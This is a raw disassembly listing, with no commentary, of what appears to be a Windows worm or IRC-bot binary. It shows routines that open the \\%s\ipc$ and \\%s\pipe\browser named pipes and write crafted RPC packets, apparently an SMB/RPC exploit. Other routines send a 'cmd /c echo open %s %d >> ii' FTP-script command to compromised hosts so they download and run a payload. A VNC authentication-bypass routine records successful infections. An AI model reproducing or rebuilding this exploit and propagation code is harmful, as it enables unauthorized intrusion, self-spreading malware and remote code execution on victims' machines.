sub_40D344 proc near ; CODE XREF: sub_40CF0B+7Cp
mov al, 1
retn
sub_40D344 endp
; =============== S U B R O U T I N E =======================================
sub_40D347 proc near ; CODE XREF: sub_40D330+6p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40D351
xor eax, eax
loc_40D351: ; CODE XREF: sub_40D347+6j
push eax
call sub_41D910
pop ecx
retn
sub_40D347 endp
; =============== S U B R O U T I N E =======================================
sub_40D359 proc near ; CODE XREF: .nsp0:loc_40CD62p
; sub_435790+3p
test byte_4EFC18, 1
jnz short locret_40D369
or byte_4EFC18, 1
locret_40D369: ; CODE XREF: sub_40D359+7j
retn
sub_40D359 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D36B proc near ; DATA XREF: .nsp0:0043A00Co
jmp $+5
sub_40D36B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D370 proc near
mov eax, dword_44A160
add eax, 6
mov dword_4E35DC, eax
retn
sub_40D370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D37E proc near ; CODE XREF: sub_40D37E+D0p
; sub_40D46C+474p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D392
or [ebp+arg_7], 1
jmp short loc_40D396
; ---------------------------------------------------------------------------
loc_40D392: ; CODE XREF: sub_40D37E+Cj
and [ebp+arg_7], 0FEh
loc_40D396: ; CODE XREF: sub_40D37E+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D3BA
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D3CC
; ---------------------------------------------------------------------------
loc_40D3BA: ; CODE XREF: sub_40D37E+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D3CC: ; CODE XREF: sub_40D37E+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_418ED0
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D465
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call near ptr sub_41C8D0
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call dword_4F139C ; WriteFile
test eax, eax
jz short loc_40D45C
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D45C
push [ebp+arg_20]
call sub_419940
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D458
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D37E
add esp, 2Ch
jmp short loc_40D467
; ---------------------------------------------------------------------------
loc_40D458: ; CODE XREF: sub_40D37E+B3j
mov al, 1
jmp short loc_40D467
; ---------------------------------------------------------------------------
loc_40D45C: ; CODE XREF: sub_40D37E+9Cj
; sub_40D37E+A4j
push [ebp+arg_20]
call sub_419940
pop ecx
loc_40D465: ; CODE XREF: sub_40D37E+61j
xor al, al
loc_40D467: ; CODE XREF: sub_40D37E+D8j
; sub_40D37E+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D37E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D46C proc near ; CODE XREF: .nsp0:0040DA6Dp
var_60DC = byte ptr -60DCh
var_40DC = byte ptr -40DCh
var_20DC = byte ptr -20DCh
var_DC = byte ptr -0DCh
var_C8 = dword ptr -0C8h
var_BC = byte ptr -0BCh
var_B8 = byte ptr -0B8h
var_B7 = byte ptr -0B7h
var_B6 = byte ptr -0B6h
var_B5 = byte ptr -0B5h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_AE = word ptr -0AEh
var_AC = dword ptr -0ACh
var_A8 = word ptr -0A8h
var_A6 = word ptr -0A6h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = word ptr -9Ch
var_9A = byte ptr -9Ah
var_98 = byte ptr -98h
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5C = byte ptr -5Ch
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 60DCh
call sub_41BC60
push ebx
push esi
push edi
push offset a__9 ; "."
push [ebp+arg_0]
call sub_41DBF0
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
jz short loc_40D4E2
push [ebp+arg_0]
mov esi, 2000h
lea eax, [ebp+var_20DC]
push offset aSIpc ; "\\\\%s\\ipc$"
push esi
push eax
call sub_41B910
push 20h
lea eax, [ebp+var_DC]
push ebx
push eax
call sub_41B190
add esp, 1Ch
lea eax, [ebp+var_20DC]
mov [ebp+var_C8], eax
lea eax, [ebp+var_DC]
push ebx
push offset dword_4E35E4
push offset dword_4E35E8
push eax
call sub_435826
jmp short loc_40D4E7
; ---------------------------------------------------------------------------
loc_40D4E2: ; CODE XREF: sub_40D46C+23j
mov esi, 2000h
loc_40D4E7: ; CODE XREF: sub_40D46C+74j
push [ebp+arg_0]
lea eax, [ebp+var_40DC]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41B910
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call dword_4F13A8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_40D52B
loc_40D524: ; CODE XREF: sub_40D46C+197j
; sub_40D46C+36Dj ...
xor al, al
jmp loc_40D96F
; ---------------------------------------------------------------------------
loc_40D52B: ; CODE XREF: sub_40D46C+B6j
push 48h
lea eax, [ebp+var_B8]
push ebx
push eax
call sub_41B190
push 10h
mov [ebp+var_B8], 5
pop eax
mov [ebp+var_B7], bl
push 1
mov [ebp+var_B4], eax
pop edi
mov [ebp+var_B6], 0Bh
push eax
lea eax, [ebp+var_98]
push offset dword_44A1BC
push eax
mov [ebp+var_B5], 3
mov [ebp+var_B0], 48h
mov [ebp+var_AE], bx
mov [ebp+var_AC], ebx
mov [ebp+var_A8], 10B8h
mov [ebp+var_A6], 10B8h
mov [ebp+var_A4], ebx
mov [ebp+var_A0], edi
mov [ebp+var_9C], bx
mov [ebp+var_9A], 1
call near ptr sub_41C8D0
push 10h
lea eax, [ebp+var_84]
push offset dword_44A1D0
push eax
mov [ebp+var_88], 3
call near ptr sub_41C8D0
add esp, 24h
lea eax, [ebp+var_BC]
mov [ebp+var_74], 2
push ebx
push eax
lea eax, [ebp+var_B8]
push 48h
push eax
push [ebp+var_4]
call dword_4F139C ; WriteFile
test eax, eax
jnz short loc_40D608
loc_40D5FA: ; CODE XREF: sub_40D46C+268j
push [ebp+var_4]
call dword_4F1324 ; CloseHandle
jmp loc_40D524
; ---------------------------------------------------------------------------
loc_40D608: ; CODE XREF: sub_40D46C+18Cj
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_60DC]
push esi
push eax
push [ebp+var_4]
call dword_4F13A4 ; ReadFile
push ebx
call sub_41DA60
push eax
call sub_41B840
push 14h
lea eax, [ebp+var_70]
push 41h
push eax
call sub_41B190
push 1Ch
lea eax, [ebp+var_30]
push 41h
push eax
call sub_41B190
add esp, 20h
call sub_41B850
mov esi, [ebp+arg_4]
mov [ebp+var_70], eax
mov [ebp+var_64], edi
mov [ebp+var_68], ebx
lea esi, [esi+esi*4]
mov [ebp+var_6C], edi
shl esi, 2
mov [ebp+var_60], bx
cmp byte_44A148[esi], bl
jz short loc_40D67F
push 4
mov [ebp+var_24], edi
mov [ebp+var_28], ebx
mov [ebp+var_2C], edi
push offset dword_4E35EC
jmp short loc_40D692
; ---------------------------------------------------------------------------
loc_40D67F: ; CODE XREF: sub_40D46C+1FFj
push 2
mov [ebp+var_28], ebx
pop eax
push 4
mov [ebp+var_24], eax
mov [ebp+var_2C], eax
push offset loc_44A1E4
loc_40D692: ; CODE XREF: sub_40D46C+211j
lea eax, [ebp+var_20]
push eax
call near ptr sub_41C8D0
add esp, 0Ch
call sub_41B850
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_30], edx
call sub_41B850
cdq
idiv edi
mov eax, dword_44A13C[esi]
mov [ebp+var_18], ebx
push eax
mov [ebp+arg_0], eax
inc edx
mov [ebp+var_1C], edx
call sub_418ED0
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40D5FA
mov eax, [ebp+arg_0]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41B190
mov eax, [ebp+arg_0]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41B190
mov eax, dword_44A144[esi]
push 7
add eax, edi
push offset dword_44A130
push eax
mov [ebp+arg_4], eax
call near ptr sub_41C8D0
mov eax, [ebp+arg_4]
push 15Ch
add eax, 7
push offset dword_449FD0
push eax
call near ptr sub_41C8D0
mov eax, dword_44A140[esi]
add esp, 30h
cmp byte_44A148[esi], bl
mov [ebp+arg_4], eax
jz short loc_40D78B
push 4
add eax, edi
push offset dword_4E35DC
push eax
call near ptr sub_41C8D0
add [ebp+arg_4], 0Ch
mov esi, offset dword_44A160
mov eax, [ebp+arg_4]
push 4
add eax, edi
push esi
push eax
call near ptr sub_41C8D0
mov eax, [ebp+arg_4]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+arg_4], eax
call near ptr sub_41C8D0
mov eax, [ebp+arg_4]
push 4
add eax, 0Ch
push esi
push eax
call near ptr sub_41C8D0
add esp, 30h
jmp short loc_40D7B3
; ---------------------------------------------------------------------------
loc_40D78B: ; CODE XREF: sub_40D46C+2D0j
add eax, edi
mov [ebp+var_8], 10h
mov [ebp+arg_4], eax
mov esi, offset dword_44A160
loc_40D79C: ; CODE XREF: sub_40D46C+345j
push 4
push esi
push [ebp+arg_4]
call near ptr sub_41C8D0
add [ebp+arg_4], 4
add esp, 0Ch
dec [ebp+var_8]
jnz short loc_40D79C
loc_40D7B3: ; CODE XREF: sub_40D46C+31Dj
mov eax, [ebp+arg_0]
add eax, 42h
push eax
call sub_418ED0
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_40D7DE
push [ebp+var_4]
call dword_4F1324 ; CloseHandle
push edi
call sub_419940
pop ecx
jmp loc_40D524
; ---------------------------------------------------------------------------
loc_40D7DE: ; CODE XREF: sub_40D46C+35Bj
mov eax, [ebp+arg_0]
add eax, 42h
push eax
push ebx ; double
push esi
call sub_41B190
lea eax, [ebp+var_70]
push 14h
push eax
push esi
call near ptr sub_41C8D0
mov eax, [ebp+arg_0]
mov dword ptr [ebp+var_10+4], ebx
mov dword ptr [ebp+var_10], eax
add esp, 10h
fild [ebp+var_10]
fmul flt_437488
fstp [esp+0Ch+var_10+4]
call sub_41CEF0
call sub_41CEBC
push [ebp+arg_0]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call near ptr sub_41C8D0
mov eax, [ebp+arg_0]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+arg_4], eax
jz short loc_40D84B
loc_40D843: ; CODE XREF: sub_40D46C+3DAj
inc eax
test al, 3
jnz short loc_40D843
mov [ebp+arg_4], eax
loc_40D84B: ; CODE XREF: sub_40D46C+3D5j
lea ecx, [ebp+var_30]
push 1Ch
add eax, esi
push ecx
push eax
call near ptr sub_41C8D0
add [ebp+arg_4], 1Ch
push edi
call sub_419940
push 18h
lea eax, [ebp+var_48]
push ebx
push eax
call sub_41B190
push 14h
lea eax, [ebp+var_5C]
push ebx
push eax
mov [ebp+var_48], 5
mov [ebp+var_47], bl
mov [ebp+var_46], bl
mov [ebp+var_45], 3
mov [ebp+var_44], 10h
mov [ebp+var_3E], bx
mov [ebp+var_3C], ebx
mov [ebp+var_34], bx
mov [ebp+var_32], 1Fh
call sub_41B190
add esp, 28h
push ebx
push ebx
push 1
push ebx
call dword_4F13A0 ; CreateEventA
mov [ebp+var_4C], eax
mov byte ptr [ebp+arg_0+3], bl
mov dword ptr [ebp+var_10+4], ebx
loc_40D8B8: ; CODE XREF: sub_40D46C+4D6j
cmp dword ptr [ebp+var_10+4], 2
jge loc_40D94D
push 1
push 10B8h
push [ebp+arg_4]
inc dword ptr [ebp+var_10+4]
push esi
lea esi, [ebp+var_48]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+var_4]
rep movsd
call sub_40D37E
add esp, 2Ch
test al, al
jz short loc_40D94A
cmp [ebp+var_4C], ebx
jz short loc_40D93C
lea eax, [ebp+var_5C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_60DC]
push 2000h
push eax
push [ebp+var_4]
call dword_4F13A4 ; ReadFile
test eax, eax
jnz short loc_40D923
call dword_4F1348 ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40D524
loc_40D923: ; CODE XREF: sub_40D46C+4A4j
push 3E8h
push [ebp+var_4C]
call dword_4F135C ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40D93C
mov byte ptr [ebp+arg_0+3], 1
loc_40D93C: ; CODE XREF: sub_40D46C+483j
; sub_40D46C+4CAj
cmp byte ptr [ebp+arg_0+3], bl
mov esi, [ebp+var_8]
jz loc_40D8B8
jmp short loc_40D94D
; ---------------------------------------------------------------------------
loc_40D94A: ; CODE XREF: sub_40D46C+47Ej
mov esi, [ebp+var_8]
loc_40D94D: ; CODE XREF: sub_40D46C+450j
; sub_40D46C+4DCj
push [ebp+var_4]
mov edi, dword_4F1324
call edi ; CloseHandle
push esi
call sub_419940
cmp [ebp+var_4C], ebx
pop ecx
jz short loc_40D969
push [ebp+var_4C]
call edi ; CloseHandle
loc_40D969: ; CODE XREF: sub_40D46C+4F6j
cmp byte ptr [ebp+arg_0+3], bl
setnz al
loc_40D96F: ; CODE XREF: sub_40D46C+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_40D46C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D974 proc near ; CODE XREF: .nsp0:0040DA8Bp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4F14F8 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4F14FC ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4F150C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40DA42
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4F1500 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40DA42
mov edi, 400h
push esi
mov esi, dword_4F1504
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_43A0E8
push eax
push eax
push dword_4E05C8
push [ebp+arg_0]
call sub_40A019
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41B910
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4F1510 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40DA46
loc_40DA42: ; CODE XREF: sub_40D974+50j
; sub_40D974+62j
xor eax, eax
jmp short loc_40DA5D
; ---------------------------------------------------------------------------
loc_40DA46: ; CODE XREF: sub_40D974+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call dword_4F1508 ; closesocket
push 1
pop eax
loc_40DA5D: ; CODE XREF: sub_40D974+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40D974 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
xor ebx, ebx
loc_40DA67: ; CODE XREF: .nsp0:0040DAADj
lea eax, [esp+14h]
push ebx
push eax
call sub_40D46C
pop ecx
test al, al
pop ecx
jz short loc_40DA9A
push 65h
lea esi, [esp+14h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40D974
add esp, 0C0h
test eax, eax
jnz short loc_40DAAF
loc_40DA9A: ; CODE XREF: .nsp0:0040DA76j
test ebx, ebx
jnz short loc_40DAA9
push 7D0h
call dword_4F1334 ; Sleep
loc_40DAA9: ; CODE XREF: .nsp0:0040DA9Cj
inc ebx
cmp ebx, 2
jb short loc_40DA67
loc_40DAAF: ; CODE XREF: .nsp0:0040DA98j
push 1
pop eax
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAB6 proc near ; CODE XREF: sub_40DBCD+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4F14F8 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4F14FC ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4F150C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40DB84
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4F1500 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40DB84
mov edi, 400h
push esi
mov esi, dword_4F1504
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_43A0E8
push eax
push eax
push dword_4E05C8
push [ebp+arg_0]
call sub_40A019
pop ecx
push eax
push offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41B910
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4F1510 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40DB88
loc_40DB84: ; CODE XREF: sub_40DAB6+50j
; sub_40DAB6+62j
xor eax, eax
jmp short loc_40DB9F
; ---------------------------------------------------------------------------
loc_40DB88: ; CODE XREF: sub_40DAB6+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call dword_4F1508 ; closesocket
push 1
pop eax
loc_40DB9F: ; CODE XREF: sub_40DAB6+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DAB6 endp
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
call dword_4F14F8 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40DBCC
push dword ptr [esp+4]
call dword_4F1520 ; gethostbyname
test eax, eax
jnz short loc_40DBC5
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40DBC5: ; CODE XREF: .nsp0:0040DBBFj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40DBCC: ; CODE XREF: .nsp0:0040DBB1j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DBCD proc near ; CODE XREF: sub_40B9F0+1E6p
; DATA XREF: .nsp0:off_4492ACo
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4E08DC
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4E08A0
push 6
push 1
push 2
mov [ebp+var_E], ax
call dword_4F150C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40DC3F
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4F1500 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40DC20
push esi
jmp short loc_40DC39
; ---------------------------------------------------------------------------
loc_40DC20: ; CODE XREF: sub_40DBCD+4Ej
push 0
push 1213h
push offset dword_44A260
push esi
call dword_4F1510 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40DC43
loc_40DC39: ; CODE XREF: sub_40DBCD+51j
call dword_4F1508 ; closesocket
loc_40DC3F: ; CODE XREF: sub_40DBCD+3Cj
xor eax, eax
jmp short loc_40DC85
; ---------------------------------------------------------------------------
loc_40DC43: ; CODE XREF: sub_40DBCD+6Aj
call dword_4F1508 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DAB6
add esp, 0C0h
test eax, eax
jz short loc_40DC82
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_4492B0[eax]
lea eax, dword_4492B0[eax]
loc_40DC82: ; CODE XREF: sub_40DBCD+9Ej
push 1
pop eax
loc_40DC85: ; CODE XREF: sub_40DBCD+74j
pop edi
pop esi
leave
retn
sub_40DBCD endp
; =============== S U B R O U T I N E =======================================
sub_40DC89 proc near ; CODE XREF: .nsp0:0040DD77p
; .nsp0:0040DDD9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40DC91: ; CODE XREF: sub_40DC89+2Dj
test edi, edi
jle short loc_40DCBC
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4E08B8
test eax, eax
jz short loc_40DCB8
cmp eax, 0FFFFFFFFh
jz short loc_40DCB8
sub edi, eax
add esi, eax
jmp short loc_40DC91
; ---------------------------------------------------------------------------
loc_40DCB8: ; CODE XREF: sub_40DC89+22j
; sub_40DC89+27j
xor eax, eax
jmp short loc_40DCBF
; ---------------------------------------------------------------------------
loc_40DCBC: ; CODE XREF: sub_40DC89+Aj
push 1
pop eax
loc_40DCBF: ; CODE XREF: sub_40DC89+31j
pop edi
pop esi
retn
sub_40DC89 endp
; =============== S U B R O U T I N E =======================================
sub_40DCC2 proc near ; CODE XREF: .nsp0:0040DDC3p
; .nsp0:0040DDF0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40DCFF
xor esi, esi
test edi, edi
jle short loc_40DCF9
loc_40DCD2: ; CODE XREF: sub_40DCC2+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jz short loc_40DCFF
test eax, eax
jz short loc_40DCFF
add esi, eax
cmp esi, edi
jl short loc_40DCD2
loc_40DCF9: ; CODE XREF: sub_40DCC2+Ej
push 1
pop eax
loc_40DCFC: ; CODE XREF: sub_40DCC2+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40DCFF: ; CODE XREF: sub_40DCC2+8j
; sub_40DCC2+2Bj ...
xor eax, eax
jmp short loc_40DCFC
sub_40DCC2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_44B4E8
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop edi
push edi
call dword_4E091C
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40DD31
push eax
jmp short loc_40DD65
; ---------------------------------------------------------------------------
loc_40DD31: ; CODE XREF: .nsp0:0040DD2Cj
lea eax, [ebp+0Ch]
push eax
call dword_4E08DC
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], di
call dword_4E08A0
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push esi
call dword_4E084C
cmp eax, 0FFFFFFFFh
jnz short loc_40DD70
push esi
loc_40DD65: ; CODE XREF: .nsp0:0040DD2Fj
call dword_4E0934
jmp loc_40DF5F
; ---------------------------------------------------------------------------
loc_40DD70: ; CODE XREF: .nsp0:0040DD62j
lea eax, [ebp-38h]
push 0Ch
push eax
push esi
call sub_40DC89
add esp, 0Ch
test eax, eax
jz loc_40DF58
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset dword_44B4EC
push eax
call sub_41CC10
add esp, 10h
cmp eax, edi
jnz loc_40DF58
cmp dword ptr [ebp-28h], 3
jz short loc_40DDBC
cmp dword ptr [ebp-20h], 8
jnz loc_40DF58
loc_40DDBC: ; CODE XREF: .nsp0:0040DDB0j
lea eax, [ebp-38h]
push 0Ch
push eax
push esi
call sub_40DCC2
add esp, 0Ch
test eax, eax
jz loc_40DF58
lea eax, [ebp-3Ch]
push edi
push eax
push esi
call sub_40DC89
add esp, 0Ch
test eax, eax
jz loc_40DF58
lea eax, [ebp-2]
push 1
push eax
push esi
call sub_40DCC2
add esp, 0Ch
test eax, eax
jz loc_40DF58
lea eax, [ebp-24h]
push 4
push eax
push esi
call sub_40DC89
add esp, 0Ch
test eax, eax
jz loc_40DF58
mov eax, [ebp-24h]
mov ebx, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, ebx
mov edi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, edi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40DF58
push 1
push offset dword_4E35F8
push esi
call sub_40DCC2
add esp, 0Ch
test eax, eax
jz loc_40DF58
lea eax, [ebp-1Ch]
push 18h
push eax
push esi
call sub_40DC89
add esp, 0Ch
test eax, eax
jz loc_40DF58
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, ebx
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, edi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41D910
push dword ptr [ebp-8]
mov edi, eax
push edi
push esi
call sub_40DF66
lea eax, [ebp+0Ch]
push eax
push edi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41B910
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_408EB9
add esp, 40h
lea eax, [ebp-24Ch]
push eax
call sub_41458A
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_4492B0[eax]
push esi
lea eax, dword_4492B0[eax]
call dword_4F1508 ; closesocket
push 1
pop eax
jmp short loc_40DF61
; ---------------------------------------------------------------------------
loc_40DF58: ; CODE XREF: .nsp0:0040DD81j
; .nsp0:0040DDA6j ...
push esi
